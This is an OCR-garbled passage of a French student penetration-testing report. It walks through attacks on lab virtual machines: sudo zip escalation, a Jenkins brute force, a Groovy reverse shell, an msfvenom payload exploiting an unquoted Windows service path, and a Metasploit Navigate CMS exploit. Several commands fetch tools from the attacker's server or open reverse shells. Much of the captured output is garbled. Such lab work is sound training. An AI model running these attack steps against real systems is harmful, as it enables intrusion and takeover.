Le mot de passe |_love_java nous donne bien I’acces SSH de l'utilisateur jeanpaul.
Vérifions maintenant si cet utilisateur possede des privileges administrateur.

jeanpauladev:~% sudo su

We trust you have received the usual lecture from the loc
Administrator. It usually boils down to these three things:

[sudo] word for jeanpaul:
Sorry, try o

[sudo] password for jeanpaul:
Sorry, tr in.

[sudo] password for jeanpaul:
sudo: 2 incorrect password attempts
jeanpauladev:~% 1s
jeanpauladev:~$ whoami
jeanpaul

jeanpaulddev:~$ pwd
/home/jeanpaul
jeanpauladev:~$ |]

Figure 82 : Contréle des accés administrateur de jeanpaul

L'utilisateur n’est pas administrateur en utilisant les deux mots de passe utilisés pour
la connexion SSH. Nous pouvons tout de méme visualiser les commandes utilisables par
jeanpaul en tant que root sur le systeme, sans utiliser de mot de passe :

jeanpauladev:~% sudo -1
Matching Defaults entries for jeanpaul on dev:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\: /usr/bin\:/sbin\:/bin

run the following commands on dewv:
fusr/bin/zip

jeanpauladev:~$ l

Figure 83 : Liste des applications pouvant étre exécutées en root sans mot de passe
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Notre utilisateur peut donc utiliser sans mot de passe I'outil zip en tant que root.
Nous pouvons donc effectuer une escalade de privileges. Apres quelques recherches, nous
trouvons une suite de commandes permettant I'acces sudo a partir de I'outil zip :

p84PBQ. :18779:0:99999:7 :::

YsAyxyTqORNuePGFjXsclf.h3RCyNaPEsoU/K5vasIlGan8YspSiTSWuAIidlprQngzyGmj3s L4K1:18779:0:99999:7 :::

Figure 84 : Elévation de priviléeges depuis I'application zip

1. TF=$(mktemp —u) crée un nom de fichier temporaire et le stocke dans la
variable TF

2. sudo zip $TF /etc/hosts -T -TT 'sh #' compresse le fichier
/etc/hosts dans le fichier temporaire, avec les options -T et -TT visant a
exécuter certaines commandes. ‘sh #’ permet d’afficher un diése en tant
gu’écran de shell.

De la, nous pouvons voir que la commande whoami indique root, et que nous avons
accés au fichier /etc/shadow, normalement accessible uniquement aux utilisateurs root.
Nous sommes donc administrateur sur la machine cible.
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Machine vulnérable 4 : Butler

1. Découverte de I’adresse IP et des services de la machine

Nous recherchons dans un premier temps I’adresse IP de la machine cible :

File Actions Edit View Help

Currently scann

Figure 85 : Adresse IP

La machine cible est connectée avec I'adresse IP 172.16.0.5. Nous scannons les ports
avec NMAP :

+ 10.0.2.80

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 15:39 CET
Nmap scan report for 10.0.2.80
Host is up (0.011s latency).
Not shown: 65523 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open mSrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
7680/tcp open pando-pub?
8080/tcp open http Jetty 9.4.41.v20210516
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| _http-server-header: Jetty(9.4.41.v20210516)
| http-robots.txt: 1 disallowed entry
1_/
49664/tcp open msrpc Microsoft Windows RPC

open msrpc Microsoft Windows RPC

open msrpc Microsoft Windows RPC

open msrpc Microsoft Windows RPC

open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

|_nbstat: NetBIOS name: BUTLER, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:2
7:88:63:77 (Oracle VirtualBox virtual NIC)

| smb2-time:

| date: 2024-12-12T22:42:53

|_ start_date: N/A

| smb2-security-mode:

| S

= Message signing enabled but not required
| _clock-skew: 7h59m57s

Service detection performed. Please report any incorrect results at https
map.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 222.19 seconds

Figure 86 : Découverte des services
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Ports et services identifiés :

e 135/tcp (msrpc) : Utilisé par Microsoft RPC (Remote Procedure Call). Les
services RPC sont souvent ciblés pour |'exécution de code a distance si des
failles existent. Nous abandonnons cette piste car la machine sensible est trop
récente c’est un windows 10, les systéemes qui pourraient étre affectés par
cette faille sont les suivants : Microsoft Windows 2000, Microsoft Windows
NT 4, Microsoft Windows NT 4.0 Terminal Services Edition, Microsoft
Windows Server 2003, Microsoft Windows XP.

e 139/tcp et 445/tcp (netbios-ssn, microsoft-ds) : Services NetBIOS et SMB
utilisés pour le partage de fichiers. Encore une fois nous avons fait nos
recherches et nous n’avons trouvé aucune piste a exploiter pour une machine
aussi récente que celle que nous devons pentester.

e 8080/tcp (Jetty 9.4.41.v20210516) : Serveur web Jetty, nous décidons donc
de nous concentrer sur ce service qui pourrait avoir certaine faille.

Nous essayons d’abord de nous connecter au serveur web Jetty avec un navigateur
web :

t @ Signin [Jenkins] X+

< C @ O A& 10.0.2.80:

KaliLinux # KaliTools « KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Welcome to Jenkins!

Keep me signed in

Figure 87 : Page de connexion de Jenkins

Nous retrouvons sur une page de connexion a un service s’appelant Jenkins. Avant
d’effectuer des recherches sur ce service, nous décidons d’effectuer un dirb pour trouver
des potentiels sous-répertoires :
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‘b http://10.0.2.80:8080

START_TIME: Thu
URL_BASE: http
WORDLIST_FILES

GENERATED WORDS:

Scanning URL: http://
(!} WARNING: All responses for this directory seem to be CODE = 4@3.
(Use mode '-w' if you want to scan it anyway)

END_TIME: Thu Dec 12 16:02:44
DOWNLOADED: 181 - FOUND: @

Figure 88 : Enumération des fichiers sur le serveur

Nous ne trouvons rien de particulier. Nous décidons donc d’effectuer certaines
recherches sur le service Jenkins.

Nous trouvons que le login et le mot de passe par défaut de Jenkins est
admin/password, nous remarquons que cela ne fonctionne pas.

Nous revenons donc a la page de connexion de ce service Jenkins et nous pensons a
utiliser I'outil BurpSuite qui permet de faire des bruteforce.

2. Brute force avec BurpSuite

Pour commencer, nous configurons notre navigateur avec BurpSuite comme proxy.

Ensuite, nous nous rendons sur BurpSuite et ouvrons I'onglet Proxy. Nous cliquons
ensuite sur Open Browser pour ouvrir le navigateur intégré a BurpSuite et collons 'URL de
la page de connexion de Jenkins.

Nous cliquons sur le bouton Intercept is off pour le passer en ON. Nous allons suite
dans le navigateur, et nous entrons un nom d’utilisateur et un mot de passe aléatoires puis
nous cliquons sur le bouton se connecter. La requéte sera interceptée par BurpSuite, et la
page de connexion dans le navigateur restera bloquée.
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Nous allons dans I'onglet Proxy et nous envoyons la requéte et sélectionnons Send
to Intruder.

Y

Nous accédons maintenant a l‘onglet Intruder et sous Attack type, nous
sélectionnons Cluster Bomb. Cela permet d’utiliser deux listes de mots différentes (par
exemple, une pour les noms d’utilisateur et une autre pour les mots de passe).

Burp  Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer &) Settings
Extensions Learn
1 x 2%+ P
Positions Payloads Resource pool Settings
(3) chooese an attack type m
Attacktype:| Cluster bomb w

(3) Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

7 Origin: http://10.0.2.80:8080

5 Content-Type: application/x-www-form-urlencoded

o User-Agent: Mozilla/S5.0 (Windows NT 10.0; Wins4; x64) AppleWebKit/537.36 (KHTML, like Geckol
Chrome/126.0,6478,127 Safari/537.36

10 Accept:
text/html,application/xhtml+xml, application/xml;g=0.9, image/avif,image /webp,image/apng, */%;g=0.8, application/s1
gned-exchange;v=b3;q=0.7

11 Referer: http://10.0.2.80:8080/1ogin?fron=%2F

12 Accept-Encoding: gzip. deflate., br

13 Cookie: JSESSIONID.438b710l=node@blsusblrslqfoqv2gyfxgssdl. noded

14 Connection: keep-alive

15

16 j_username=fxgh&j_password=dfh&fromn=%2F&Subnit=5ign+in

Add§
Target: | http://10.0.2.80:8080 Update Host header to match target

Clear§
1 POST /i_spring_security_check HTTP/1.1 Autos
2 Host: 10.0,2,80:8080
5 Content-Length: 54
4 Cache-Control: max-age=0 Refresh
g

Figure 89 : Payload pour la connexion a Jenkins

Nous cliqguons sur Clear § pour effacer les points définis par défaut, puis nous
sélectionnons le nom d’utilisateur et le mot de passe et nous cliquons sur Add §.

i_username=8fxgh8&] password=8dfh8&from=%2F&Submit=Sign+1in

Figure 90 : Modification de la requéte pour bruteforce

Dans I'onglet Payloads nous pouvons mettre les listes de login et mot de passe que
nous allons utiliser pour le brute force :
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Burp  Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer {0} Settings
Extensions Learn

1 % 2%+ 0
Positions Payloads Resource pool Settings

(?) Payload sets [ startattack ]

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and
each payload type can be customized in different ways.

Payloadset: | 1 e Payload count: 0

Payload type: | Simple list v Request count: 0

(3) Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

FPaste
Load...
Remove

Clear

Deduplicate

Add

(3) Payload processing

You can define rules to perform various processing tasks on each paylead before itisused.

Add Enabled  Rule
Edit
Remove
Up

Down

(3) Payload encoding

This setting can be used to URL-encode selected characters withinthe final payload, for safe transmission within HTTP requests.
Eventlog(1)®  Allissues (@ Memory: 120.3MB

Figure 91 : Choix des wordlists pour bruteforce

Voici la liste des logins que nous utiliserons, nous avons rajouté les login « jenkins
écrit de différentes manieres :

»
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-] kali@kalikali: Jusrfsharefweordlists

File Actions Edit View Help

Jusr/share/seclists/Usernames/top-usernames-shortlist.txt
o0t

admin
test
guest
info
adm
mysqgl

Figure 92 : Wordlist utilisée

Nous avons fait la méme chose avec la liste de mots de passe rockyou.txt ou nous
avons rajouté le mot de passe jenkins sous différentes formes.

Nous langons I'attaque, et nous remarquons que le Status code reste le méme et que
le Length prend des valeurs similaires mais aprés un tres long moment a attendre voici ce

qui arrive :
jenkins jenkins 302 168 178
Jenkins jenkins 302 435 178
JENKINS jenkins 302 266 178
jenkins 302 353 403
root JENKINS 302 39 404

Figure 93 : Valeur Length modifiée

La valeur length est différente. Nous essayons donc de rentrer les différentes
variations du mot jenkins, et finalement nous arrivons a nous connecter avec l'identifiant
Jenkins/jenkins.
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Finalement, nous accédons au service Jenkins :

e Kali NetHunter = Exploit-DB

[Fadd deseription

& New
& Pecple Welcome to Jenkins!
= Build History This page is where isplayed. To get started, you can set up distributed

builds or =

Start building your software project

Create ajob >
B NewView Set up a distributed build
- N Setup an agent >
wilds i §
Configure a cloud >
Build Executor Stat & Le about distributed builds
e
e

REST API Jenkins 2.289.3

Figure 94 : Page d'accueil de Jenkins une fois connecté

Durant nos recherches, nous avons exploré ces différents onglets :

Dashboard

System Configuration

At Configure System
bl bal setting

e .. ol setings and paths 7

Security

Status Information

- System System Log About Jenkins
= Displays System log captures output from tilization and see i you See the version and license information.
Java, ut11. lagging output related to Jenkins ers for your builds.

Tools and Actions

# 3 Reload Configuration from Disk
s

Jankins CLI == Script Console

ot admin

ﬁ Prepare for Shutdown
Sto s,

Figure 95 : Liste des onglets disponibles

Rien de réellement exploitable, mais celui qui a directement attiré notre attention
est 'onglet Script Console :

Pierre FROSTIN et Matthias DUMAS — BUT2 R&T La Rochelle —2024-2025
Page 63 sur 91



f_ Jenkins

Dashboard

= Script Console

Build Gueue N

Build Executor Status a

Figure 96 : Onglet Script Console

Comme nous pouvons le voir sur la capture avec Script Console, nous pouvons
exécuter des scripts arbitraires directement sur le serveur grace a des Groovy scripts. Avec
nos recherches, nous découvrons que Groovy est un langage de programmation basé sur
Java, souvent utilisé dans les configurations de Jenkins. Nous pensons directement a
effectuer un reverse shell, pour cela nous allons sur Internet et cherchons tout simplement
« groovy script reverse shell » et nous tombons sur un GitHub qui nous donne ce code (voir
sources).

Nous copions le code en remplagant au préalable le numéro de port et I'adresse IP :

® Jenkins 4 2 Sloses

[ Script Console

re visible. jenkins.*, jenkins.model. =, hudson. % and hudson. mode

String host="16.6
int port=4s:
5tring cmd=
Process p=ne essBuilder (cnd) . redirectErrorStrean{true) start();Socket s=new Socket(host,port);InputStrean pi=p.getInputStrean(),pe=p. getErrarStrean(), si=s.getInputStrean();0

Build Executor Status ~

REST AP| Jenkins 2.289.3

Figure 97 : Script envoyé sur Jenkins
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Avant d’exécuter le script, nous ouvrons le port renseigné dans le script sur notre
machine. Voici ce que nous obtenons :

istening on [
onnect to [10.@.

licrosoft Windows [
Microsoft Corpor

Prog:

Figure 98 : Reverse Shell sur le serveur Jenkins

\Program Files\Jenkins>whoami
whoami
but butler

Program Files‘\Jenkins>

uation

Model 186 Stepping 2 Genuin

irtualBox,

top Adapter

ments: A e r has been detec 5 es required
ot be displ

Figure 99 : Liste de toutes les informations systéme sur la machine cible
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Cela va nous permettre d’effectuer des recherches et essayer de trouver des failles
de sécurité en utilisant la version de I'OS Windows.

Nous sommes donc connectés en tant qu’utilisateur butler, ce qui signifie que nous
ne sommes pas encore root et qu’il va falloir faire une escalade des privileges.

3. Escalade des privileges

Pour commencer, nous avons effectué des recherches sur les exploits existants pour
la version de I’OS Windows que nous avons. Nous trouvons un exploit pour la CVE-2021-
1732 qui permet a un utilisateur lambda en exécutant en script de devenir root (voir
sources), nous avons récupérer le code et I'avons exécuté sur la machine cible. Voici ce que
nous obtenons :

C:\Program Files\Jenkins>exploit_jenkins.exe
exploit_jenkins.exe

This version of C:\Program Files\Jenkins\exploit_jenkins.exe is not compatible with the version of Windows you're ru
nning. Check your computer's system information and then contact the software publisher.

C:\Program Files\Jenkins>[]

Figure 100 : exploit non fonctionnel en raison de la version de Windows

Apres coup, nous avons vérifié de nouveau la version de Windows, et la machine cible
était trop récente pour que I'exploit puisse fonctionner. Nous avons donc continué nos
recherches sur Internet sur les potentielles failles de Windows. Nous trouvons donc un outil
appelé WInPEAS qui est connu dans le domaine de la cybersécurité. WinPEAS (Windows
Privilege Escalation Awesome Script) est un script en PowerShell qui est utilisé pour
identifier des vulnérabilités potentielles et des failles de sécurité sur un systeme Windows
qui pourraient étre exploitées pour élever les priviléeges d'un utilisateur ou obtenir un acces
administrateur (voir sources).

Nous téléchargeons ce script et utilisons de nouveau un serveur web Python pour
transférer le fichier sur la machine cible :

Lancement du serveur web Python :
e python3 -m http.server 80
Récupération du fichier depuis la machine distante :

e curl -o winPeas.exe http://10.0.2.5/winPeas.exe
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Nous langons le script :

/fd 1' and then start

CCCCCCCOOOCOOOCCOOCCOOOCaOaqqc
COCCCCOQEaaeeqeeeceeccocdd (

(CC((
CCCOEeeeeece (OO
COCCCCOCCCC( staE ((CCCCOCCCC
CCCCCCC( sttt ( CCCCCCC(C
el s (CCCCCCOCC
(((( / #H(CCCCCCCC
/ COOeece
OO
(CC((
CCCCC
CCC(C
(0
(s
CCCCC

CCCCOL(
Hi (CCCc(
YOCCOOCCCC
COCCOOC((
COCOQOOeaaeeeeeeeqaaeoadee

Figure 101 : Démarrage de WinPEAS

Nous sommes surpris par I'’énorme quantité d’informations que nous découvrons et
nous avons passé beaucoup de temps a chercher dans les informations disponibles. Le
nombres de pistes potentielles était énorme, mais malheureusement nous manquions de
temps et la fin de la SAE s’approchait. Nous avons donc décidé de demander de I'aide aux
personnes ayant déja fait cette SAE I'année précédente.

On nous a donc dit de faire des recherches de sécurité sur la « unquote service path
vulnerability ».

La vulnérabilité en question se produit lorsque le chemin d'un fichier exécutable,
utilisé par un service sur un systéme Windows, contient des espaces et n'est pas
correctement encadré par des guillemets. Cela peut nous permettre de charger un script
nous permettant de faire un reverse shell par exemple.

Par exemple, un chemin avec des espaces, comme C:\Program
Files\MyService\service.exe, doit étre mis entre guillemets pour que Windows le
reconnaisse correctement.

Si le service a une entrée dans le registre comme :
C:\Program Files\MyService\service.exe

Il doit étre cité comme :
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"C:\Program Files\MyService\service.exe"
Vous trouverez dans les sources plus de détails sur cet exploit.

Maintenant, notre objectif est de trouver un service qui serait vulnérable. Pour cela,
nous avons utilisé un exploit que nous avons trouvé un site internet durant nos recherches
nous expliguant comment mener a bien ce type d’attaque (voir sources).

Premiérement, nous devons trouver le service vulnérable en utilisant la commande
suivante :

wmic service get name,displayname,pathname,startmode |
findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i
/V nnn

Explication de la commande :
wmic service get name,displayname,pathname,startmode :

e Cette commande utilise wmic pour lister tous les services de Windows et obtenir
les informations suivantes pour chaque service :

o hame :Lenom du service
o displayname : Le nom affiché du service
o pathname : Le chemin du fichier exécutable du service

o startmode : Le mode de démarrage du service (par exemple, Auto pour
démarrage automatique)

| findstr /i "auto”

o Cette partie de la commande filtre les services dont le mode de démarrage est auto
(démarrage automatique). L'option /1 signifie que la recherche est insensible a la
casse (majuscule/minuscule)

| findstr /i /v "c:\windows\\?”

e Cette commande exclut les services dont le chemin commence par C: \Windows\.
Cela permet de filtrer les services systéme de Windows et se concentrer sur les
services installés ailleurs, qui sont plus susceptibles d'étre mal configurés pour la
vulnérabilité. L'option /v inverse la recherche, donc trouve les services dont le
chemin ne contient pas C: \Windows\

| findstr /i /v """

e Cette commande recherche les services dont le chemin d'exécutable n'est pas cité
entre guillemets. L'option /V signifie que nous excluons les services dont le chemin
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est déja correctement cité (et donc ne pose pas de probleme de sécurité lié a des

espaces non gérés). Le triple guillemet (""") est utilisé ici pour échapper le caractere
de guillemet dans la commande, car findstr nécessite des guillemets pour la

recherche de texte

Apres exécution de la commande voici ce que nous obtenons :

m Files%Jenkins>wmic service get name,displayname,pathname,startmode |findstr /i "aute” |findstr /i /v "c:\

c:\windows\\" [findstr /i /v

WiseBootAssistant
ogram Files (x86)\Wise\Wise Care 365\BootTime.exe Auto

Figure 102 : Résultat de la commande Wmic

Le service Wise serait donc vulnérable. Nous devons maintenant créer un payload et
I"utiliser pour exploiter le service vulnérable et effectuer une élévation de priviléges. Pour
cela, nous utiliserons la commande suivante :

msfvenom —p windows/x6U/shell_reverse_tcp LHOST=<votre_ip>
LPORT=<numéro_de_port> -f exe -o Wise.exe

msfvenom : C'est 'outil utilisé pour générer le payload

e -p windows/x6U/shell_reverse_tcp: Nous spécifions le type de
payload que nous voulons utiliser. Ici, c'est un reverse shell pour une
architecture 64 bits (x64) de Windows

e —f exe: Cela spécifie que nous voulons générer un fichier exécutable (.exe)

e -0 Wise.exe : Cest le nom du fichier généré. Cette étape est trés

importante car il faut nous assurer que le nom du fichier soit exactement

Wise.exe pour qu'il corresponde au nom de I'exécutable du service vulnérable

WiseBootAssistant

5 LPORT=4444 f

[-] No platform was se :Module
[-1 No ar cte electing arch from the
No encode 1€ outputting raw load

=

|- [~/Documents ]
exploit_jenkins.exe

|- [~/Documents ]

Figure 103 : Génération du fichier de reverse shell
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Une fois que I'exécutable est créé, nous devons faire en sorte que la machine
vulnérable exécute Wise.exe. Pour cela, nous utilisons la méme méthode que
précédemment en ouvrant un service web HTTP temporaire.

Nous déplacons cet exécutable dans le dossier Wise :

C:\Program Files (x86)\Wise>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1867-CB24

Directory of C:“Program Files (x86)'\Wise

PM <DIR>

PM <DIR>

PM <DIR>

PM

File(s) 7,168 by
) 1@,087,: 296 by

Figure 104 : Déplacement du fichier dans le répertoire adapté

Nous ouvrons un port avec I'outil NetCat :

Figure 105 : Lancement du reverse shell sur Kali

Nous devons maintenant exécuter ce payload. Pour cela, nous devons arréter le
service WiseBootAssistant qui est lié au fichier Wise.exe (qui contient le payload). Puisqu'il
est configuré pour démarrer automatiquement (autostart) lors du démarrage du systéme,
il est important de l'arréter d'abord pour garantir que |'on peut exploiter cette

vulnérabilité.
Pour arréter le service nous utilisons la commande suivante :

sc stop "WiseBootAssistant"
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:“Program Files (x86)\Wise>sc stop "WiseBootAssistant"”
sc stop "WiseBootAssistant”

SERVICE_MNAME: WiseBootAssistant
TYPE : 118 WIN32 OWN_PROCESS (interactive)
STATE : 3 STOP_PENDING
(STOPPAELE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32 EXIT_CODE B (0=@)
SERVICE_EXIT_CODE : @ (@x8)
CHECKPOINT :
WAIT_HINT

Figure 106 : Arrét du service Wise

Pour démarrer le service nous utilisons la commande suivante :

sc start "WiseBootAssistant"

C:\Program Files (x86)\Wise>sc art "WiseBootAssistant
t "WiseBootAs

The service did not respond to the start or control reguest in a timely fashion.

C:\Program Files (x86)\Wise>|]]

Figure 107 : Démarrage du service Wise

Maintenant, le systeme tentera de démarrer le service WiseBootAssistant, mais il
échouera car il trouvera notre payload et exécutera ce dernier a la place. Nous avons
maintenant accés aux privileges administrateur :

-nvlno 5555

listening on [any]

connect to [10.8.

Microsoft Windows [Version 1@.8.19043.928]

(c) Microsoft Corporation. All rights reserved.

C:i\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>[]

Figure 108 : Elévation des privileges
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Pour conclure, cette machine a vraiment été trés laborieuse a attaquer et nous avons
da effectuer énormément de recherches sur les vulnérabilités existantes sur Windows. La
découverte de 'outil WinPEAS a été tres intéressante, mais faire le tri dans I'’énorme
quantité d’informations était tres difficile. De plus, nous avons remarqué que sans I'aide de
nos camarades, nous n’aurions jamais pu savoir que nous devions utiliser la vulnérabilité «
Unquoted Path ». Celle-ci était vraiment surprenante, mais intéressante a exploiter.
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Machine vulnérable 5 : Blackpearl

1. Découverte de I’adresse IP et des services de la machine

Nous recherchons dans un premier temps |’adresse IP de la machine cible :

Currently scanning: Finished! Screen View: Unigue Hosts

Captured ARP Re

Figure 109 : Adresse IP

La machine cible est connectée avec I'adresse IP 172.16.0.5. Nous scannons les ports
avec NMAP :

Host is up
Not shown:
PORT STATE
cp open ssh
ssh-host
14:5

tcp : domain C BIND 9.11.5-
dns-nsid

_http-titl
C Address: € § a7 ( Le rtualBox virtual

linux:linu:x

TRACEROUTE
HOP RTT ADDRESS
1 3. 74 ms 172.16.

tion performed. Pl y incorrect re L a map.org/submit/
ress (1 host up) scanned in 35.¢ onds

Figure 110 : Découverte des services
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Les services suivants tournent actuellement sur la machine :

e TCP 22 :SSH— OpenSSH v7.9p1 sur Debian 10
e TCP 53 : Serveur DNS —BIND 9.11.5
e TCP 80 : Serveur Web —NGINX 1.14.2 avec la page « Welcome to nginx ! »

2. Visite de la page web

Nous visualisons la page web sur un navigateur :

S eoa P o

(=] = Kali Linux

@ Q 17216.0.6

KaliLinux & KaliTools « KaliDocs & KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Welcome to nginx!

If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.

For online documentation and support please refer to nginx.org.
Commercial support is available at nginx.com.

Thank you for using nginx.

Figure 111 : Page par défaut de nginx

1=

his page. the n d an ng. Further configuration is

for using ngi

Figure 112 : Code de la page par défaut
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Il s’agit simplement de la page par défaut d’une installation NGINX, mais du
commentaire HTML a été ajouté en bas du code : il s’agit d’une adresse e-mail qui nous
renseigne un nom (Alek) et un nom de domaine (blackpearl.tcm).

Nous effectuons donc un scan des répertoires et fichiers présents sur ce serveur avec

I’outil Nikto, mais qui ne donne rien d’intéressant :

me-Options he -US, s
is not set. This e in a e MIME type. See: etsparker . com/web-

Figure 113 : Scan des répertoires du serveur avec Nikto

Apreés concertation, nous décidons de relancer un scan mais cette fois-ci avec |'outil
DirBuster. Cette recherche est beaucoup plus intéressante :

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

http:/iblackpearl.tem: 80/
@ Scan Information |, Results - List View: Dirs: 17 Files: 20 ' Results - Tree View |, f\ Errors: 0,

Testing for dirs in / I 3% | [m] (O]
Testing for files in f with no extention I 4% | |E| |E|
Testing for files in f with extention .php I 4% | |E| |E|
Testing for dirs in /navigate/ | 0% | [m] (O]
Testing for files in /navigate/ with no extention | 0% | |E| |E|
Testing for files in /navigate/ with extention .php | 0% | |E| |E|
Testing for dirs in /navigate/img/ | 0% | [m] [O] [+
Current speed: 0 requests/sec (Select and right click for more options)

Average speed: (T) 762, (C) 108 requestsfsec

Parse Queue Size: 0 Current number of running threads: 200
Total Requests: 48793/11909593

||Change

Figure 114 : Scan des répertoires du serveur avec DirBuster

Pierre FROSTIN et Matthias DUMAS — BUT2 R&T La Rochelle —2024-2025
Page 75 sur 91



OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File ©Options About Help

http://172.16.0.6:80/

@ Scan Infermation ' Results - List View: Dirs: 0 Files: 1, Results - Tree View | /\ Errors: 0}
Type | Found | Response | Size

Dir 200 914
File 200 469

Current speed: 0 requests/sec (Select and right click for more options)
Average speed: (T) 972, (C) 256 requests/sec

Parse Queue Size: 0 Current number of running threads: 200
Total Requests: 661638/661645 | | Change |

Time To Finish: 00:00:00

| -C-\-"',_I Back || [0 Pause L] |ﬂ

DirBuster Stopped

Figure 115 : Fichier "secret" trouvé

DirBuster nous indique qu’un fichier /secret ainsi qu’un répertoire /navigate
sont accessibles. Commencons par lire le fichier /secret :

Open - 0 secret
1 0MG you got roet !
.
3

4 Just kidding... search somewhere else. Directory busting won't give anything.

5

6 <This message is here so that you don't waste more time directory busting this particular website.>
7

8 - Alek

Figure 116 : Contenu du fichier "secret"

Ce message moqueur est signé par Alek, le Webmaster qui a commenté le code HTML
de la page web visualisée précédemment. Cependant, le fichier ne donne pas beaucoup
plus d’informations.

Penchons-nous sur le répertoire /navigate :
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s ™ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

404 Not Found

nginx/1.14.2

Figure 117 : Répertoire /navigate introuvable avec I'adresse IP

Le répertoire est introuvable, alors qu’il était affiché sur DirBuster... Aprés quelques
minutes de réflexion, il serait possible que la page ne soit accessible qu’avec le nom de
domaine et non I'adresse IP. Nous retentons notre chance :

B @ Server Not Found o S

(7 C @ ® blackpearl.tem

KaliLinux # KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Hmm. We're having trouble finding that site.

We can't connect to the server at blackpearl.tcm.
If you entered the right address, you can:

+ Try again later
« Check your network connection

« Check that Firefox has permission to access the web (you might be connected but behind a firewall)

Figure 118 : Répertoire /navigate introuvable avec le nom de domaine
La page ne s’affiche toujours pas. Nous effectuons donc une recherche inversée avec
dnsrecon sur la cible pour nous assurer de notre piste :

p.0.8/24 -n 172.16.0.6 -d bla
rming Reverse Lookup from 127.2.0.@ to

[+] PTR blackpearl.tcm 127.0.0.1
[+] 1 Records Found

Figure 119 : Recherche inversée avec dnsrecon
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Le pointeur indique bien le nom de domaine recherché ainsi que son pointage sur I'adresse
de loopback de la machine cible. Pour éviter de modifier nos parametres DNS sur Kali, nous
préférons modifier le fichier /etc/hosts pour faire pointer blackpearl.tcm directement
sur 172.16.0.6 sans faire de requéte supplémentaire.

File Actions Edit View Help

localhost
kali
6.0.6 blackpearl. tcm]]

oll

localhost ip6-localhost ip6-loopback
11 1lno

i 1 llrouters

Figure 120 : Modification du fichier /etrc/hosts

Nous pouvons maintenant relancer le navigateur et tenter d’accéder a la page :

EmmPo--|1

& PHP7.3.27-1~deb10ul - phpi X +

(= C @ QO & blackpearl.tem

KaliLinux # KaliTools = KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

PHP Version 7.3.27-1~deb10ul php
System Linux blackpearl 4.19.0-16-amdé4 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

Build Date Feb 13 2021 16:31:40

Server API| FPM/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini) Path fetc/php/7.3/fom

Loaded Configuration File Jetc/php/7.3/fpmyphp.ini

Scan this dir for additional .ini files Jetc/php/7.3/fomjconf.d

Figure 121 : Page par défaut de PHP

Une page s’affiche, il s’agit de la page par défaut de PHP.

Nous nous dirigeons vers le répertoire /navigate
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“m PO

Navigate CMS

C @ O A blackpearl.tem

KaliLinux @ KaliTools ¢ KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

User

navig ate Password

9

Remember me.

Enter Forgot password?

Navigate CMS v2.8, © 2024

Figure 122 : Affichage de la page web contenue dans /navigate

3. Exploit de Navigate

Navigate est un CMS (Content Management System), dont la version installée est 2.8.
Nous recherchons alors un exploit sur cet outil, et trouvons un RCE (Remote Shell Exécution)
pour Navigate. Ce dernier s’exécute via la console Metasploit :

Loit/multi/http/fENEgate_cns_FE8 6 xc nauthenticated Remote Code Execution
a module by name or index. For example info 0, use @ or use exploit/multi/http/mavigate

configured, defaulting to php/meterprete
) show option:

/using-metasploit.htnl

options (php/

nt Setting

full medule info with the info, or info -d command.

Figure 123 : Choix d'un exploit pour /navigate
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) > set RHOSTS 172.16.0.6

)} > set VHOST blackpearl.tcm

16.0.6:55716) at —01-07 10: 36 +0100

Run the » command for more detaills.

Figure 124 : Obtention du reverse shell

Nous obtenons donc un shell basique sur le serveur distant, I'utilisateur est www-
data puisque nous avons obtenu une connexion depuis le service web. Il s’agit d’un shell
simplifié de Meterpreter, avec des commandes différentes. Nous utiliserons le vrai shell
Linux plus tard.

4. Escalade de privileges

Au cours des recherches, nous avons découvert un script a exécuter c6té serveur qui
permet de dump beaucoup d’informations sur le systéeme, et de mettre en lumiere
différentes manieres d’effectuer une escalade de privileges : il s’agit de LinPEAS (voir
sources). Pour ce faire, il est nécessaire de transférer le fichier de script a la machine cible.
La méthode choisie est de monter un serveur web Python sur Kali, et d’utiliser le shell
distant via Meterpreter pour télécharger et exécuter le script.

| el

http.server 80
ving HTTP on ©0.9.8.0 port 80 (http://0.0.0.0:80/)

Figure 125 : Lancement du serveur web sur Kali

Nous avons lancé le serveur dans le home, nous y plagons donc le script
linpeas.sh. Nous retournons dans Meterpreter et langons un vrai shell Linux :
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meterpreter > shell
Process 10441 crea
Channel 1 created.

whoami
www-data

Figure 126 : Utilisation du vrai shell Linux dans Meterpreter

Nous pouvons maintenant télécharger le script sur le serveur avec la commande
suivante :

L41M=0.15

59 (7.10 MB/s) - 'linpeas.sh’

